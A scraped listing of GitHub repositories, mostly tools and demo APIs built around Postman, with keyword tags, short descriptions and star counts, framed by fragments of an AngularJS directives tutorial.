currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. | 0 stars | 0 watchers | 14 forks |
|
smmcgrath/MyFirstApp access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app |
Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. | 1 stars | 1 watchers | 0 forks |
|
Umang080799/CRUD-App- action, book, books, details, form, host, local, object, objects, reading, rest, restful, route, routes, server, updating |
I made a Crud App using Node.js,Express.js and Mongoose.js. I built out a book Schema for creating,reading,updating and deleting books. Used Express Scripts to create routes that will form the basis for a restful API. Used POSTMAN to perform actions on the routes All the book details were altered as JSON objects. I created and used Google Chrome to confirm the changes made on the local host server port 8080. | 1 stars | 1 watchers | 0 forks |
|
postmanlabs/curl-to-postman curl, object, objects |
Converts curl requests to Postman Collection v2 request objects | 0 stars | 0 watchers | 2 forks |
|
anshhora7/PaymentService object, objects, parameter, service, user |
Payment Service is a Sring Boot service, which allows user to subscribe a plan aacording to its use. Postman is also used here to provide JSON objects and the nesseccery parameters for the project. | 0 stars | 0 watchers | 0 forks |
|
GideonFlynn/Item-Catalog catalog, framework, object, objects, rest |
A catalog of objects where each item has a category, shop, and manufacturer. It has a useful API made with Postman, the rest of the code; Python with the Flask framework, and PostgreSQL | 0 stars | 0 watchers | 0 forks |
|
mblarsen/postman-generator-v1 collection, document, documents, generator, object, objects |
Creates postman v1 collection documents from JSON objects | 0 stars | 0 watchers | 0 forks |
|
mbMosman/serverside-tasks-with-sub-cat action, data, database, object, objects, server, servers, serverside, task, tasks, transactions |
Serverside code only for a tasks database with subtasks and categories with Postman Tests. (Postgres/pg with JSON objects & transactions) | 0 stars | 0 watchers | 0 forks |
|
prakhar1989/Blogera blog, blogs, logs |
Postman for your blogs | 1 stars | 1 watchers | 1 forks |
|
rohityo/Blogs-website logs, program, site, software, test, testing, tool, website |
In this project, implemented API End-point with Blog medium website and the uses of postman software tool for testing the programme. | 0 stars | 0 watchers | 0 forks |
|
Ayorinde-Codes/RequestLogger agent, browser, data, database, execution, logs, package |
A Laravel package that logs requests ip, agent(browser or postman), payload request, payload response, Time of execution and url in the database within any request call | 0 stars | 0 watchers | 0 forks |
|
Ayushverma8/Alexa.WithPostmanis.fun blog, blogs, form, format, information, informational, logs, tool, tools |
Contains informational blogs and FOSS tools build with Postman Collections and Alexa | 0 stars | 0 watchers | 0 forks |
|
fe3dback/web-debug-tools api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools |
WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) | 0 stars | 0 watchers | 0 forks |
|
harryi3t/postman-logs file, files, logs |
Visualize Postman log files | 0 stars | 0 watchers | 0 forks |
|
Raremaa/postmanToApiHtml blog, blogs, html, http, https, java, logs |
一个基于postman的java小工具，用于将postman导出的v1文档转换为html文档（本人仅负责整合,原创者地址:https://www.cnblogs.com/XiOrang/p/5652875.html,https://www.cnblogs.com/xsnd/p/8708817.html） | 0 stars | 0 watchers | 0 forks |
|
shankj3/logspout_newman_reporter lines, logs, newman, print, prints, report, reporter |
Newman reporter that prints JSON lines for ingestion by logspout | 0 stars | 0 watchers | 0 forks |
|
empeje/midtrans-iris-collections collection, collections, fork, free, iris, maintained, official |
[Unofficial] Postman Collections for Midtrans' Iris Disbursement Service | Not maintained anymore, feel free to fork! | 1 stars | 1 watchers | 1 forks |
|
rpgplanet/django-postman copy, django, fork, personal, planet |
personal copy/fork of django-postman | 1 stars | 1 watchers | 1 forks |
|
gustavrannestig/postman-encryptedCharfields django, fields, fork, message, nest, storing, subject |
A fork of django-postman that encrypt the body and subject of a message before storing in db | 0 stars | 0 watchers | 0 forks |
|
minhhai2209/postman-sample access, environment, fork, github, http, https, modification, newman, properties, sample |
Sample on how to use the fork at https://github.com/minhhai2209/newman#accessible-environment to set Postman properties from Newman. See the modification at https://github.com/minhhai2209/postman-runtime/commit/764c6b9a170e71b055dce077fba12960e6b87d93. | 0 stars | 0 watchers | 0 forks |
|
Morakir/django-postman django, fork |
forked django-postman for project purposes | 0 stars | 0 watchers | 0 forks |
|
ovnicraft/django-postman bitbucket, bucket, django, fork, http, https |
My own fork from https://bitbucket.org/psam/django-postman/overview | 0 stars | 0 watchers | 0 forks |
|
prototypsthlm/postman-encryptedCharfields django, fields, fork |
A fork of django-postman to encrypt a pair of fields | 0 stars | 0 watchers | 0 forks |
|
StriveForBest/django-postman ajax, django, fork, form, function, functional, place, placeholder, support |
django-postman fork to support ajax response, form placeholders and `mark as read` functionality | 0 stars | 0 watchers | 0 forks |
|
postmanlabs/runscope-to-postman runs, runscope |
Convert Runscope Radar Tests to Postman Collection v2 | 9 stars | 9 watchers | 8 forks |
|
kyleweishaar-zz/JIRA-postman bunch, collection, postman collection, runs, script, task, tasks |
A script that runs postman collection to build a bunch of JIRA tasks | 0 stars | 0 watchers | 4 forks |
|
beekman/resty browser, client, http, rest, resty, runs |
RESTy is an API Server client appliction. It’s a lot like Postman or httpie, but it runs in the browser. | 0 stars | 0 watchers | 0 forks |
|
dandimrod/PostmanLocalMock collection, mock, postman collection, runs, util, utility |
Simple utility that runs a mock api out of an API using a postman collection as a base. | 0 stars | 0 watchers | 0 forks |
|
foxy-the-web/postman-workflows collection, runs, workflow |
Scripts to control collection runs in postman. | 0 stars | 0 watchers | 0 forks |
|
jarunswe/employee details, employee, runs |
Staff details create,update,view and delete through postman | 0 stars | 0 watchers | 0 forks |
|
k4l397/newman-dr client, collection, collections, directory, java, javascript, newman, runs, script, tool, wraps |
This is a javascript tool that wraps the newman postman client and runs all collections in a directory. | 0 stars | 0 watchers | 0 forks |
|
mamund/norman newman, runner, runs, test, test run |
test runner for cli postman runs using newman | 0 stars | 0 watchers | 0 forks |
|
stoplightio/prism file, form, format, light, mock, server, stoplight, transform, validation |
Turn any OpenAPI2/3 and Postman Collection file into an API server with mocking, transformations and validations. | 1119 stars | 1119 watchers | 91 forks |
|
postmanlabs/postman-collection-transformer collection, form, struct, structure, transform, validation, version |
Perform rapid conversion and validation of JSON structure between Postman Collection Format v1 and v2. | 16 stars | 16 watchers | 18 forks |
|
DoctorWhoFR/PostPy document, documentation, export, form, markdown, python, tool, transform |
A python tool to transform postman documentation export into basic markdown for Github Wiki in exemple. | 1 stars | 1 watchers | 0 forks |
|
smmcgrath/MyFirstApp access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app |
Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. | 1 stars | 1 watchers | 0 forks |
|
buianhthang/wsdl2postman collection, form, postman collection, transform, wsdl |
transform wsdl to postman collection | 0 stars | 0 watchers | 0 forks |
|
Fantaso/url-shortener-api django, django rest, ember, form, framework, rest, shortener, transform, user |
Url shortener API with Django and django rest framework. Project consists to allow a user to transform a long web url into a pattern-consistent (encoded) small url easy to share and remember. | 0 stars | 0 watchers | 0 forks |
|
Neuromobile/newman-vcs-parser collection, collections, form, format, mobile, newman, parse, parser, transform, version |
A parser to transform Postman/newman collections to a versionable format | 0 stars | 0 watchers | 0 forks |
|
randomdize/json-to-postman-form-data bulk, data, form, json, object, random, transform, transforming |
transforming json key-value object to form-data for postman bulk edit. | 0 stars | 0 watchers | 0 forks |
|
GLEBR1K/webapi-jwt-example example, webapi |
.NET Core Web API (JWT Auth) Example | 3 stars | 3 watchers | 1 forks |
|
sanjaysaini2000/aspnet-core3-webapi aspnet, demonstrate, named, operation, operations, webapi |
This is Web API named BookStoreAPI developed with asp.net core 3 using Entity Framework Core 3 and SQL Server as back-end to demonstrate simple out of the box CRUD operations. | 2 stars | 2 watchers | 0 forks |
|
carlosaguirreneves/aspnetcore.webapi aspnet, aspnetcore, automat, automatizados, test, webapi |
ASP.NET Core Web API com EntityFrameworkCore usando Token JWT, Docker e Postman para testes automatizados. | 1 stars | 1 watchers | 0 forks |
|
thenikhilk/jwt-auth-webapi auth, authenticate, authenticates, case, data, endpoint, endpoints, exposes, query, reviews, util, utility, webapi |
The purpose of this code is to develop the Restaurent API, using Microsoft Web API with (C#),which authenticates and authorizes some requests, exposes OAuth2 endpoints, and returns data about meals and reviews for consumption by the caller. The caller in this case will be Postman, a useful utility for querying API’s. | 1 stars | 1 watchers | 0 forks |
|
dmitry-baranov/webapitest apitest, test, webapi |
Postman | 0 stars | 0 watchers | 0 forks |
|
rashidmajeed/dotnetcore-postgresql api blueprint, asyncapi, backend, consume, dotnet, endpoint, endpoints, json schema, oauth, openid, postgres, postgresql, sql, storage, test, tested, webapi |
c#.netcore 2.1 is for backend webapi and for storage postgresql is used. Web api is exposed as endpoints and are tested by postman. Frontend will be soon availabe to consume web api's | 0 stars | 0 watchers | 0 forks |
|
rgooler/steam_to_openapi3 import, insomnia, openapi, output, tool, tools, webapi |
Converts steam's webapi output into openapi3 for easy importing into tools like postman and insomnia | 0 stars | 0 watchers | 0 forks |
|
shawnzxx/PostmanTestAzureB2C grant, token, webapi |
Postman use to grant token, webapi use for validate token | 0 stars | 0 watchers | 0 forks |
|
Tiemma/isw-docs-demo docs, document, documentation, generation |
Automated documentation generation using Slate and Postman Collections | 0 stars | 0 watchers | 4 forks |
|
SimplifyNet/Simplify.Web.Postman collection, environment, extension, generation |
Postman collection and environment generation extension for Simplify.Web. | 1 stars | 1 watchers | 0 forks |
|
shaishab/sequelize-express-example application, example, express, generation, schema, sequelize |
An example for the usage of Sequelize within an Express.js application with schema generation from existing table | 0 stars | 0 watchers | 1 forks |
|
flascelles/synthetic-API-traffic-generation collection, collections, general, generate, generation, model, models, postman collection, postman collections, script, scripts, traffic, training |
scripts and postman collections to generate synthetic api traffic for training ML models and general purposes | 0 stars | 0 watchers | 0 forks |
|
AlexMoroz/swagger2posman collection, continuous, development, environment, generation, swagger, swagger2 |
Idea: continuous generation of Postman collection and environment from swagger during development | 0 stars | 0 watchers | 0 forks |
|
awaisbub/Shircle aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track |
It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. | 0 stars | 0 watchers | 0 forks |
|
lmaxim/PostmanWSSEToken auth, generation, header, mars, script |
Pre-request script for Postman provide auth header generation for API calls in Emarsys | 0 stars | 0 watchers | 0 forks |
|
psn30595/Universal-Ticket-Generation-Service-for-Events book, booking, cloud, event, form, generation, movie, movies, platform, published, site, sports, ticket, tickets, website |
Developed a ticket booking website which is used to book tickets for the concert, movies and sports events by using various API’s. Created ticket generation API for others and published on the Microsoft Azure cloud platform. Technologies used: C#.NET, Microsoft Azure, Visual Studio 2017, Microsoft SQL Server 2017, Postman. | 0 stars | 0 watchers | 0 forks |
|
mmsrgit/spring-security-db auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user |
This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML | 1 stars | 1 watchers | 1 forks |
|
Shaykoo/task-manager-api address, auth, authenticate, authenticated, authentication, data, database, email, mail, manager, notify, require, required, send, sends, site, store, stores, task, tasks, test, user, users, website |
This app is purely based on NodeJS. This app is a task manager app which stores all the users and their tasks in MongoDB database with required authentication of the user to create, read, update and delete the users and their own particular tasks plus when a user gets created or deleted the app sends them email to notify. Use the website address to test it on postman. Get authenticated before using the app on postman. | 1 stars | 1 watchers | 0 forks |
|
alexanderkounadis/Angular-7-CRUD client, client side, consume, consumes, method, methods, require, required, retrieve, server |
Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. | 0 stars | 0 watchers | 1 forks |
|
alexanderkounadis/Angular-7-CRUD-WebAPI client, client side, consume, consumes, method, methods, require, required, retrieve, server |
Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. | 0 stars | 0 watchers | 0 forks |
|
CallanHP/oci-api-signing-postman-collection collection, form, implements, require, required, script, scripts, signing |
This Postman collection implements pre-request scripts to perform the signing required to invoke the OCI APIs. | 0 stars | 0 watchers | 0 forks |
|
Dilshan97/simple-microservice customer, details, microservice, mobile, order, phone, place, require, required, retail, service, store |
ABC Company has started with a small mobile phone retail store in Colombo. It is required to capture order details and provide unique identifier for the customer for the order that is placed from the store front | 0 stars | 0 watchers | 0 forks |
|
sharrop/swag-post-gen excel, fields, file, form, generator, inject, module, require, required, swagger, swagger2, test, tests, type |
A Swagger(OAS)v2-to-Postman generator - very much sitting on the shoulders of the excellent npm:swagger2-postman-generator module, but injecting Postman tests for required fields and type conformance - derived from the Swagger/OAS file. | 0 stars | 0 watchers | 0 forks |
|
tangcent/easy-api comments, document, documentation, elegant |
Elegant documentation comes from elegant code comments | 0 stars | 0 watchers | 7 forks |
|
jiereal/pmdoc comments, postman scripts, script, scripts, writing |
writing postman scripts in js comments | 1 stars | 1 watchers | 0 forks |
|
smmcgrath/MyFirstApp access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app |
Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. | 1 stars | 1 watchers | 0 forks |
|
HP213/My_first_cryptocurrency action, chai, comments, connection, crypto, cryptocurrency, currency, http, local, locally, node, require, suggest, system, transactions, understanding, user |
Using Blockchain, I made my first cryptocurrency, I suggest using postman for better understanding. Baiscally we made an decentralized system of transferring cryptocurrency. It is runnig locally on http://127.0.0.1:5001/ you can chage port according to requirement and new user. Post request is made to add transactions and create a new node and get request to block new mine and get chain. Everything mentioned in code with comments, we have made three ports http://127.0.0.1:5002/, http://127.0.0.1:5003/, http://127.0.0.1:5004/, to show connections between three miners "A" "B" and "C". You can make more | 0 stars | 0 watchers | 0 forks |
|
martynow173/practice-3 actor, backend, comments, function, functional, github, handling, http, https, laravel, product, products, rating, relationship, sort, system, user |
Just backend requests handling, use postman. Additional functionality and code refactoring: user ratings, comments, sorting based on them, many-to-many relationship between categories and products. Role system - https://github.com/spatie/laravel-permission | 0 stars | 0 watchers | 0 forks |
|
paulvollmer/PostmanCollectionFromComments collection, comments, postman collection |
create postman collection from code comments | 0 stars | 0 watchers | 0 forks |
|
venkatgunneri/Messenger-App client, collection, comments, file, files, message, messages, notation, resource, resources, source |
Messaging App, Creating Profiles, can share messages with sub resources as comments and likes. Code written in using REST API annotations and getting response in JSON. Postman API as a client. worked on resource URI's and collection URI's. | 0 stars | 0 watchers | 0 forks |
|
postmanlabs/openapi-to-postman convert, converting, form, format, openapi, spec, specs |
Plugin for converting OpenAPI 3.0 specs to the Postman Collection (v2) format | 195 stars | 195 watchers | 51 forks |
|
ambertests/charles_to_postman charles, convert, converting, file, json, output, proxy, test, tests |
Script for converting Charlesproxy output to a Postman json file | 0 stars | 0 watchers | 4 forks |
|
stereg/inspector2postman convert, converting, file, import, imported, output, spec, taking |
Script for taking ACI inspector output and converting it into a Google Postman Collection file that can be imported | 1 stars | 1 watchers | 0 forks |
|
etuchscherer/postman2curl collection, collections, command, commands, convert, converting, curl, postman collection, postman collections, util, utility |
A Gem utility for converting postman collections into curl commands. | 0 stars | 0 watchers | 0 forks |
|
postmanlabs/graphql-to-postman convert, converting, form, format, graph, graphql |
Plugin for converting GraphQL to the Postman Collection (v2) format | 0 stars | 0 watchers | 0 forks |
|
proctorlabs/swagger2postman-cli collection, collections, container, convert, converting, document, documents, postman collection, postman collections, swagger, swagger2 |
A Docker container for converting swagger (OpenAPI v2) documents to postman collections | 0 stars | 0 watchers | 0 forks |
|
timmy8526/CGI_Postman_Convertor collection, convert, converting, experiment, form, format |
This is an experiment of converting cgi url into Postman collection format. | 0 stars | 0 watchers | 0 forks |
|
tomashchuk/booking auth, authorization, book, booking, heroku, http, https, login, register, test, testing |
REST API Booking Database with JWT authorization (using Bearer). Registration - https://bookingstest.herokuapp.com/auth/register/. Login - https://bookingstest.herokuapp.com/auth/login/ Root api: https://bookingstest.herokuapp.com/api/. Recommended to use Postman for testing purposes. | 0 stars | 0 watchers | 0 forks |
|
aymkin/track-server auth, authorization, cloud, course, error, express, handling, hashi, http, https, learn, middleware, native, react, redux, server, track, udemy |
Back-end for Front-enders, за два часа можно просмотреть как с минимум усилий: установить express написать 4 эндпоинта подключить к MongoDB cloud базовое использование Postman что такое схемы и модели (Mongoose) зачем нужен JWT (Json Web Token) + как его имплементировать в проект что значит натереть и присолить пароль (salting and hashing password) и почему это по проавославному как ограничить доступ к данным не авторизированным пользователям (middleware authorizationRequire) обработка потенциальных ошибок (error handling) уроки 165-186 https://www.udemy.com/course/the-complete-react-native-and-redux-course/learn/lecture/15707662 | 0 stars | 0 watchers | 0 forks |
|
cpvariyani/identity-server-4-policy-based-authorization-.netcore admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube |
Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice | 0 stars | 0 watchers | 0 forks |
|
Eka-2019/PostmanTest_example auth, authorization, example, fake, server, test, tests |
some example simple tests in postman + fake server and basic authorization | 0 stars | 0 watchers | 0 forks |
|
hiteshere/jwt_authorization auth, authorization, file, files, function, functional, implementation, operation, operations |
jwt basic implementation with get, post and put operations functional with postman files | 0 stars | 0 watchers | 0 forks |
|
larrydeck/postman-oclc-hmac auth, authorization, generate, header, hmac, script, signature, signatures |
Postman pre-request script to generate HMAC signatures and authorization headers for OCLC APIs. | 0 stars | 0 watchers | 0 forks |
|
RubenSantana/xx_sec_and_auth auth, authorization, security, test, tests |
tests for security and authorization with MongoDB, Mongoose, Robo3T, Postman, and others | 0 stars | 0 watchers | 0 forks |
|
bhawna2109/Librarian book, books, case, check, collection, data, database, library, office, search, storing |
Librarian is a Postman collection that allows you to use Slack to check the availability of a book in your office library. In this case, we are searching for the book using a Slack app, and also storing the books that we have in the Postman office using Airtable as a database. | 1 stars | 1 watchers | 0 forks |
|
gustavrannestig/postman-encryptedCharfields django, fields, fork, message, nest, storing, subject |
A fork of django-postman that encrypt the body and subject of a message before storing in db | 0 stars | 0 watchers | 0 forks |
|
jake-bladt/postman-demo-api demo api, place, storing |
A place for storing my changes to the demo api | 0 stars | 0 watchers | 0 forks |
|
komalng/TuringChallenges api blueprint, asyncapi, data, json schema, oauth, openid, related, sql, storing |
This project is related to NodeJs challenges in which I am using Mysql for storing data through postman. | 0 stars | 0 watchers | 0 forks |
|
roachdaddy89/PostMate-Rest-App application, exploring, native, react, route, routes, storing |
PostMate is a react-native application for exploring and storing custom api routes like postman. | 0 stars | 0 watchers | 0 forks |
|
shruti-14/postman_collection_monitoring collection, data, elastic, monitor, monitoring, newman, node, postman collection, storing |
Monitoring postman collection using newman node and storing data in elastic serach | 0 stars | 0 watchers | 0 forks |
|
tomdseo/Task-Managing-API description, script, storing, task |
Simple RESTful API storing task titles and descriptions using MongoDB and Postman | 0 stars | 0 watchers | 0 forks |
|
mohamed-abdo/performance-load-test api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit |
Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). | 1 stars | 1 watchers | 0 forks |
|
Story-TellerX/Postman-request-collection-dummy- collection, dummy, form, performance, test, testing |
This is first performance of my REST testing with Postman | 0 stars | 0 watchers | 0 forks |
|
TVoroshilova/QA-automation-programmer agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing |
At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) | 0 stars | 0 watchers | 0 forks |
|
002366/API_Testing form, function, functional, performance, tool |
Here is the APIs for Postman-tool,to understand the api functionality and implementing the CI/CD performance Integration | 0 stars | 0 watchers | 0 forks |
|
geanv/Postman distributed, form, network, performance, process, service |
A distributed NFV service to improve network performance for small packet processing | 0 stars | 0 watchers | 0 forks |
|
skepee/Orm-Compare comparison, form, performance, support |
ORM performance comparison between Entity Framework Core, Dapper and Sql Server Json support. | 0 stars | 0 watchers | 0 forks |
|
Vinodh-thimmisetty/Spring-webservices compare, form, framework, frameworks, performance, service, services, webservice, webservices |
Spring based Restful API to compare the performance of Hibernate and MyBatis frameworks based on response time(POSTMAN). | 0 stars | 0 watchers | 0 forks |
|
sn0112358/Angular-Directive-Project access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps |
Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. 